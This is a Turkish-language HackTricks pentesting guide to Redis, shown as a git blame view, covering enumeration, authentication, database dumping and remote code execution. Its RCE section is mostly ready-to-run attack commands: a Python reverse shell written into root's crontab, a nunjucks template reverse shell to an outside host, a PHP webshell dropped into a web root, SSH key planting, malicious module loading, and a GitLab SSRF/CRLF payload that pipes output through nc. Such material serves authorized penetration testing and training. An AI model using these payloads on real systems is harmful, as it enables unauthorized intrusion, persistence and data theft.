hacktricks/network-services-pentesting/6379-pentesting-redis.md

336 lines
20 KiB
Markdown
Raw Normal View History

2024-02-10 18:14:16 +00:00
# 6379 - Redis Pentesting
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'ı desteklemenin diğer yolları:
2024-01-03 10:42:55 +00:00
2024-02-10 18:14:16 +00:00
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** katkıda bulunun.
2022-04-28 16:01:33 +00:00
</details>
2023-12-04 15:45:05 +00:00
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2023-02-27 09:28:45 +00:00
2024-02-10 18:14:16 +00:00
Deneyimli hackerlar ve ödül avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
2023-02-27 09:28:45 +00:00
2024-02-10 18:14:16 +00:00
**Hacking İçgörüleri**\
Hacking'in heyecanını ve zorluklarını ele alan içeriklerle etkileşime geçin
2023-02-27 09:28:45 +00:00
2024-02-10 18:14:16 +00:00
**Gerçek Zamanlı Hack Haberleri**\
Hızlı tempolu hacking dünyasını gerçek zamanlı haberler ve içgörülerle takip edin
2023-07-14 15:03:41 +00:00
2024-02-10 18:14:16 +00:00
**En Son Duyurular**\
Yeni ödül avcılarının başlatıldığı ve önemli platform güncellemelerinin olduğu duyurularla bilgilenin
2023-07-14 15:03:41 +00:00
2024-02-10 18:14:16 +00:00
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliği yapmaya başlayın!
2022-11-05 09:07:43 +00:00
2024-02-10 18:14:16 +00:00
## Temel Bilgiler
2024-02-10 18:14:16 +00:00
[Belgelerden](https://redis.io/topics/introduction) alınan bilgilere göre, Redis, açık kaynaklı (BSD lisanslı), bellekte **veri yapısı deposu** olarak kullanılan bir **veritabanı**, önbellek ve mesaj aracıdır.
2024-02-08 21:36:35 +00:00
2024-02-10 18:14:16 +00:00
Redis varsayılan olarak düz metin tabanlı bir protokol kullanır, ancak **ssl/tls** de uygulayabileceğinizi unutmamanız gerekmektedir. Redis'i [buradan ssl/tls ile çalıştırmayı öğrenin](https://fossies.org/linux/redis/TLS.md).
2024-02-10 18:14:16 +00:00
**Varsayılan port:** 6379
```
PORT STATE SERVICE VERSION
2020-09-24 19:39:13 +00:00
6379/tcp open redis Redis key-value store 4.0.9
```
2024-02-10 18:14:16 +00:00
## Otomatik Numaralandırma
2024-02-10 18:14:16 +00:00
Bir Redis örneğinden bilgi elde etmeye yardımcı olabilecek bazı otomatik araçlar:
2020-07-19 21:58:26 +00:00
```bash
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
```
2024-02-10 18:14:16 +00:00
## El ile Sıralama
2022-05-01 13:25:53 +00:00
### Banner
2024-02-10 18:14:16 +00:00
Redis, bir **metin tabanlı protokol** olduğundan, komutu bir sokete göndererek dönen değerleri okuyabilirsiniz. Ayrıca Redis'in **ssl/tls** kullanarak çalışabilmesini de unutmayın (ancak bu çok garip bir durumdur).
2020-07-20 15:31:30 +00:00
2024-02-10 18:14:16 +00:00
Normal bir Redis örneğinde, `nc` kullanarak bağlantı kurabilir veya `redis-cli`yi de kullanabilirsiniz:
2020-07-20 15:31:30 +00:00
```bash
nc -vn 10.10.10.10 6379
2020-07-20 15:31:30 +00:00
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
```
2024-02-10 18:14:16 +00:00
**İlk komut** deneyebileceğiniz şey **`info`**. Bu, Redis örneğiyle ilgili bilgileri döndürebilir veya aşağıdaki gibi bir çıktı dönebilir:
```
2020-07-20 15:31:30 +00:00
-NOAUTH Authentication required.
```
2024-02-10 18:14:16 +00:00
Bu son durumda, Redis örneğine erişmek için **geçerli kimlik bilgilerine ihtiyacınız** olduğu anlamına gelir.
2024-02-10 18:14:16 +00:00
### Redis Kimlik Doğrulama
2024-02-10 18:14:16 +00:00
Redis **varsayılan olarak** kimlik bilgisi olmadan erişilebilir. Bununla birlikte, yalnızca şifre veya kullanıcı adı + şifre desteği sağlamak için **yapılandırılabilir**.\
`redis.conf` dosyasında `requirepass` parametresiyle **bir şifre belirlenebilir** veya hizmet yeniden başlatılana kadar geçici olarak bağlanarak `config set requirepass p@ss$12E45` komutunu çalıştırabilirsiniz.\
Ayrıca, `redis.conf` dosyasındaki `masteruser` parametresiyle bir **kullanıcı adı** yapılandırılabilir.
2020-07-20 15:31:30 +00:00
{% hint style="info" %}
2024-02-10 18:14:16 +00:00
Yalnızca şifre yapılandırıldığında kullanılan kullanıcı adı "**default**" olarak ayarlanır.\
Ayrıca, Redis'in yalnızca şifre veya kullanıcı adı + şifre ile yapılandırılıp yapılandırılmadığını **harici olarak bulmanın bir yolu yoktur**.
2020-07-20 15:31:30 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
Bu gibi durumlarda, Redis ile etkileşimde bulunmak için **geçerli kimlik bilgilerini bulmanız gerekecektir**, bu nedenle [**brute-force**](../generic-methodologies-and-resources/brute-force.md#redis) yöntemini deneyebilirsiniz.\
**Geçerli kimlik bilgilerini bulduğunuzda, bağlantıyı kurduktan sonra oturumu doğrulamak için aşağıdaki komutu kullanmanız gerekmektedir:**
2020-07-20 15:31:30 +00:00
```bash
AUTH <username> <password>
```
2024-02-10 18:14:16 +00:00
**Geçerli kimlik bilgileri** `+OK` yanıtıyla karşılanır.
2024-02-10 18:14:16 +00:00
### **Kimlik doğrulaması yapılmış numaralandırma**
2020-07-20 15:31:30 +00:00
2024-02-10 18:14:16 +00:00
Eğer Redis sunucusu **anonim bağlantılara** izin veriyorsa veya geçerli kimlik bilgilerine sahipseniz, aşağıdaki **komutları** kullanarak hizmetin numaralandırma sürecini başlatabilirsiniz:
2020-07-19 22:28:20 +00:00
```bash
2020-07-20 15:31:30 +00:00
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
```
2024-02-10 18:14:16 +00:00
**Diğer Redis komutları** [**burada bulunabilir**](https://redis.io/topics/data-types-intro) **ve** [**burada**](https://lzone.de/cheat-sheet/Redis)**.**
2024-02-10 18:14:16 +00:00
Unutmayın ki bir örneğin **Redis komutları yeniden adlandırılabilir** veya _redis.conf_ dosyasından kaldırılabilir. Örneğin, bu satır FLUSHDB komutunu kaldıracaktır:
```
2020-07-23 16:41:26 +00:00
rename-command FLUSHDB ""
```
2024-02-10 18:14:16 +00:00
Redis servisini güvenli bir şekilde yapılandırma hakkında daha fazla bilgi için buraya bakabilirsiniz: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
2020-07-23 16:41:26 +00:00
2024-02-10 18:14:16 +00:00
Ayrıca, Redis komutlarının gerçek zamanlı olarak izlenebileceği **`monitor`** komutuyla veya en yavaş **25 sorgunun** alınabileceği **`slowlog get 25`** komutuyla izleme yapabilirsiniz.
2024-02-10 18:14:16 +00:00
Daha fazla Redis komutu hakkında ilginç bilgileri burada bulabilirsiniz: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
2020-07-20 15:31:30 +00:00
2024-02-10 18:14:16 +00:00
### **Veritabanı Dökümü**
2024-02-10 18:14:16 +00:00
Redis içinde **veritabanları 0'dan başlayan sayılarla** temsil edilir. "Keyspace" bölümünde `info` komutunun çıktısında kullanılan herhangi bir veritabanını bulabilirsiniz:
![](<../.gitbook/assets/image (315).png>)
2024-02-10 18:14:16 +00:00
Veya sadece tüm **keyspace'leri** (veritabanlarını) alabilirsiniz:
2022-09-01 13:34:28 +00:00
```
INFO keyspace
```
2024-02-10 18:14:16 +00:00
O örnekte **0 ve 1 numaralı veritabanları** kullanılıyor. **0 numaralı veritabanı 4 anahtar içerirken, 1 numaralı veritabanı 1 anahtar içerir**. Redis varsayılan olarak 0 numaralı veritabanını kullanır. Örneğin 1 numaralı veritabanını dökümlemek için şunları yapmanız gerekmektedir:
```bash
SELECT 1
[ ... Indicate the database ... ]
2024-02-10 18:14:16 +00:00
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
```
2024-02-10 18:14:16 +00:00
Eğer `GET <KEY>` komutunu çalıştırırken `-WRONGTYPE Operation against a key holding the wrong kind of value` hatasını alırsanız, anahtarın bir dize veya tamsayı olmaktan başka bir şey olabileceğini ve onu görüntülemek için özel bir operatöre ihtiyaç duyduğunu gösterir.
2024-02-10 18:14:16 +00:00
Anahtarın türünü öğrenmek için `TYPE` komutunu kullanın, aşağıda liste ve hash anahtarları için örnek verilmiştir.
2021-11-07 19:50:21 +00:00
```
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
```
2024-02-10 18:14:16 +00:00
**npm ile veritabanını dökün** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **veya python ile** [**redis-utils**](https://pypi.org/project/redis-utils/)
2023-12-04 15:45:05 +00:00
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2023-03-05 19:54:13 +00:00
2024-02-10 18:14:16 +00:00
Deneyimli hackerlar ve ödül avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
2023-02-27 09:28:45 +00:00
2024-02-10 18:14:16 +00:00
**Hacking İçgörüleri**\
Hacking'in heyecanını ve zorluklarını inceleyen içeriklere katılın
2023-02-27 09:28:45 +00:00
2024-02-10 18:14:16 +00:00
**Gerçek Zamanlı Hack Haberleri**\
Hızlı tempolu hacking dünyasını gerçek zamanlı haberler ve içgörülerle takip edin
2023-02-27 09:28:45 +00:00
2024-02-10 18:14:16 +00:00
**En Son Duyurular**\
Yeni ödül avcılıklarını ve önemli platform güncellemelerini takip edin
2023-07-14 15:03:41 +00:00
2024-02-10 18:14:16 +00:00
Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy)'a katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!
2022-11-05 09:07:43 +00:00
2022-05-01 13:25:53 +00:00
## Redis RCE
2024-02-10 18:14:16 +00:00
### Etkileşimli Kabuk
2022-05-08 00:02:12 +00:00
2024-02-10 18:14:16 +00:00
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server), Redis(<=5.0.5) üzerinde otomatik olarak etkileşimli bir kabuk veya ters kabuk alabilir.
2022-05-08 00:02:12 +00:00
```
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
```
2022-06-25 09:48:48 +00:00
### PHP Webshell
2024-02-10 18:14:16 +00:00
[**Buradan**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html) bilgi alın. Web sitesi klasörünün **yolunu** bilmelisiniz:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
```
2024-02-10 18:14:16 +00:00
### Şablon Webshell
2024-02-10 18:14:16 +00:00
Önceki bölümde olduğu gibi, bir şablon motoru tarafından yorumlanacak olan bazı html şablon dosyalarını üzerine yazarak bir kabuk elde edebilirsiniz.
2022-06-25 09:48:48 +00:00
2024-02-10 18:14:16 +00:00
Örneğin, [**bu yazıda**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/) görebileceğiniz gibi, saldırgan **nunjucks şablon motoru tarafından yorumlanan bir html içine bir ters kabuk enjekte etmiştir:**
2022-06-25 09:48:48 +00:00
```javascript
{{ ({}).constructor.constructor(
2024-02-10 18:14:16 +00:00
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
2022-06-25 09:48:48 +00:00
)()}}
```
{% hint style="warning" %}
2024-02-10 18:14:16 +00:00
Not edin ki **birkaç şablon motoru önbelleğe alır** şablonları **bellekte**, bu yüzden onları üzerine yazsanız bile, yeni olan **çalıştırılmaz**. Bu durumlarda, ya geliştirici otomatik yeniden yükleme işlemini etkin bıraktı ya da hizmet üzerinde bir DoS yapmanız gerekiyor (ve otomatik olarak yeniden başlatılmasını bekliyorsunuz).
2022-06-25 09:48:48 +00:00
{% endhint %}
2022-05-01 13:25:53 +00:00
### SSH
2024-02-10 18:14:16 +00:00
Örnek [buradan](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
2024-02-08 21:36:35 +00:00
2024-02-10 18:14:16 +00:00
Lütfen **`config get dir`** sonucunun diğer manuel saldırı komutlarından sonra değişebileceğinin farkında olun. Redis'e giriş yaptıktan hemen sonra bunu çalıştırmanızı öneririm. **`config get dir`** çıktısında, **redis kullanıcısının ev dizinini** (genellikle _/var/lib/redis_ veya _/home/redis/.ssh_) bulabilir ve bunu bildiğinizde, `authenticated_users` dosyasını yazabileceğiniz yeri ve **redis kullanıcısıyla** ssh üzerinden erişebileceğiniz yeri bilirsiniz. Yazma izinlerine sahip olduğunuz başka geçerli bir kullanıcının ev dizinini de biliyorsanız, onu da kötüye kullanabilirsiniz:
2020-07-20 15:31:30 +00:00
2024-02-10 18:14:16 +00:00
1. Bilgisayarınızda bir ssh genel-özel anahtar çifti oluşturun: **`ssh-keygen -t rsa`**
2. Genel anahtarı bir dosyaya yazın: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
3. Dosyayı redis'e aktarın: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. Genel anahtarı redis sunucusundaki **authorized\_keys** dosyasına kaydedin:
2024-02-10 18:14:16 +00:00
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
```
5. Son olarak, özel anahtarla **redis sunucusuna ssh** yapabilirsiniz: **ssh -i id\_rsa redis@10.85.0.52**
2024-02-10 18:14:16 +00:00
**Bu teknik burada otomatikleştirilmiştir:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
2020-07-20 15:31:30 +00:00
2022-05-01 13:25:53 +00:00
### Crontab
```
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
```
2024-02-10 18:14:16 +00:00
Son örnek Ubuntu için, **Centos** için yukarıdaki komut şu şekilde olmalıdır: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
2024-02-10 18:14:16 +00:00
Bu yöntem ayrıca bitcoin kazanmak için de kullanılabilir: [yam](https://www.v2ex.com/t/286981#reply14)
2024-02-10 18:14:16 +00:00
### Redis Modülü Yükleme
2024-02-10 18:14:16 +00:00
1. [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) adresindeki talimatları takip ederek **keyfi komutları çalıştırmak için bir redis modülü derleyebilirsiniz**.
2. Ardından, derlenen modülü **yüklemek için bir yol**a ihtiyacınız vardır.
3. Yüklenen modülü çalışma zamanında `MODULE LOAD /path/to/mymodule.so` komutuyla **yükleyin**.
4. Doğru bir şekilde yüklendiğini kontrol etmek için **yüklenen modülleri listele**mek için `MODULE LIST` komutunu kullanın.
5. **Komutları** **çalıştırın**:
2021-05-27 10:20:50 +00:00
2024-02-10 18:14:16 +00:00
```
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
```
6. İstediğiniz zaman modülü kaldırın: `MODULE UNLOAD mymodule`
2021-05-27 10:20:50 +00:00
2024-02-10 18:14:16 +00:00
### LUA sandbox atlatma
2020-07-20 15:31:30 +00:00
2024-02-10 18:14:16 +00:00
[**Burada**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) Redis'in **Lua kodunu sandbox** içinde çalıştırmak için **EVAL** komutunu kullandığını görebilirsiniz. Bağlantılı gönderide **dofile** fonksiyonunu kullanarak bunu **kötüye kullanmanın** nasıl olduğunu görebilirsiniz, ancak [görünüşe göre](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) artık mümkün değil. Neyse ki, Lua sandbox'ı atlatırsanız sistemde **keyfi komutlar** çalıştırabilirsiniz. Ayrıca, aynı gönderide DoS'a neden olacak bazı **seçenekler** de bulunmaktadır.
2020-07-20 15:31:30 +00:00
2024-02-10 18:14:16 +00:00
LUA'dan kaçmak için bazı **CVE'ler**:
2022-05-16 21:20:15 +00:00
* [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
2024-02-10 18:14:16 +00:00
### Master-Slave Modülü
2024-02-10 18:14:16 +00:00
Ana redis tüm işlemler otomatik olarak slave redis'e senkronize edilir, bu da zafiyetli redis'i kendi kontrolümüzdeki ana redis'e bağlı bir slave redis olarak görebileceğimiz anlamına gelir, böylece kendi redis'imize komut girebiliriz.
```
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
```
2024-02-10 18:14:16 +00:00
## Redis'e SSRF ile Konuşma
2024-02-10 18:14:16 +00:00
Eğer Redis'e **açık metin** istek gönderebilirseniz, Redis ile **iletişim kurabilirsiniz** çünkü Redis isteği satır satır okur ve anlamadığı satırlara sadece hatalarla yanıt verir:
```
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
```
2024-02-10 18:14:16 +00:00
Bu nedenle, bir web sitesinde bir **SSRF zafiyeti** bulursanız ve bazı **başlıkları** (belki de bir CRLF zafiyeti ile) veya **POST parametrelerini** **kontrol edebilirseniz**, Redis'e keyfi komutlar gönderebilirsiniz.
2024-02-10 18:14:16 +00:00
### Örnek: Gitlab SSRF + CRLF ile Shell
2024-02-10 18:14:16 +00:00
**Gitlab11.4.7** sürümünde bir **SSRF** zafiyeti ve bir **CRLF** keşfedildi. **SSRF** zafiyeti, yeni bir proje oluştururken **URL'den proje içe aktarma işlevselliğinde** bulunuyordu ve \[0:0:0:0:0:ffff:127.0.0.1] formunda keyfi IP'lere erişime izin veriyordu (bu, 127.0.0.1'e erişecektir), ve **CRLF** zafiyeti sadece **URL'ye %0D%0A** karakterlerini ekleyerek istismar edildi.
2024-02-10 18:14:16 +00:00
Bu nedenle, bu zafiyetleri **gitlab** tarafından **kuyrukları yöneten** Redis örneğiyle konuşmak için **kötüye kullanmak mümkün oldu** ve bu kuyrukları **kod yürütme elde etmek** için kötüye kullanmak mümkündü. Redis kuyruk kötüye kullanımı yükü:
```
2024-02-10 18:14:16 +00:00
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
```
2024-02-10 18:14:16 +00:00
Ve **SSRF'yi** istismar etmek için **URL kodlaması** isteği ve `whoami` komutunu çalıştırmak ve çıktıyı `nc` aracılığıyla geri göndermek için **CRLF** kullanarak yapılan istek:
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
2024-02-10 18:14:16 +00:00
_Bir nedenden dolayı (bu bilginin alındığı_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _adresindeki yazarın belirttiği gibi) bu saldırı, `http` şeması yerine `git` şemasıyla çalıştı._
2022-04-28 16:01:33 +00:00
2023-12-04 15:45:05 +00:00
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2022-11-05 09:07:43 +00:00
2024-02-10 18:14:16 +00:00
Deneyimli hackerlar ve ödül avcılarıyla iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
2023-02-27 09:28:45 +00:00
2024-02-10 18:14:16 +00:00
**Hacking İçgörüleri**\
Hacking'in heyecanını ve zorluklarını ele alan içeriklerle etkileşime geçin.
2023-02-27 09:28:45 +00:00
2024-02-10 18:14:16 +00:00
**Gerçek Zamanlı Hack Haberleri**\
Hızlı tempolu hacking dünyasını gerçek zamanlı haberler ve içgörülerle takip edin.
2023-02-27 09:28:45 +00:00
2024-02-10 18:14:16 +00:00
**En Son Duyurular**\
Yeni ödül avları ve önemli platform güncellemeleri hakkında bilgi sahibi olun.
2023-02-27 09:28:45 +00:00
2024-02-10 18:14:16 +00:00
**Bize** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **katılın ve bugün en iyi hackerlarla işbirliği yapmaya başlayın!**
2022-11-05 09:07:43 +00:00
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hacklemeyi öğrenin<strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'i desteklemenin diğer yolları:
2024-01-03 10:42:55 +00:00
2024-02-10 18:14:16 +00:00
* **Şirketinizi HackTricks'te reklam vermek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
2022-04-28 16:01:33 +00:00
</details>